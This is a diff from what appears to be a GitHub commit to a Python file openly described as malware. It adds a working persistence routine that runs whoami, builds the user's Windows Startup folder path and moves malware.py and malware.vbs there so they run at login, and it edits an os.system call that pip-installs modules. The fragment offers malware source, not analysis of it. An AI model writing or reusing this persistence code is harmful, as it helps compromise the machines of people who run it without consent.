File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 77 import threading
88except :
99 import os
10- os .system ('pip install socket subprocess requests shutil' )
10+ os .system ('pip install socket subprocess requests shutil threading ' )
1111vbs_script = "malware.vbs"
1212
1313
1414#adds the entire malware collection to the startup folder
1515# |
1616# |
1717# V
18- #def movedir():
19- #user = subprocess.check_output("whoami", shell=True, text=True)
20- #user = user[-6:].strip()
21- #print(user)
22- #currectdir = os.getcwd()
23- #startup = f"C:\\Users\\{user}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
24- #if os.path.exists(f"C:\\Users\\{user}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"):
25- # shutil.move(f"{currectdir}\\malware.py", f"{startup}\\malware.py")
26- #else:
27- # pass
18+ def movedir ():
19+ user = subprocess .check_output ("whoami" , shell = True , text = True )
20+ user = user [- 6 :].strip ()
21+ print (user )
22+ currectdir = os .getcwd ()
23+ startup = f"C:\\ Users\\ { user } \\ AppData\\ Roaming\\ Microsoft\\ Windows\\ Start Menu\\ Programs\\ Startup"
24+ if os .path .exists (f"C:\\ Users\\ { user } \\ AppData\\ Roaming\\ Microsoft\\ Windows\\ Start Menu\\ Programs\\ Startup" ):
25+ shutil .move (f"{ currectdir } \\ malware.py" , f"{ startup } \\ malware.py" )
26+ shutil .move (f"{ currectdir } \\ malware.vbs" , f"{ startup } \\ malware.vbs" )
27+ else :
28+ pass
2829
2930
3031def whoami (* args ):
You can’t perform that action at this time.
0 commit comments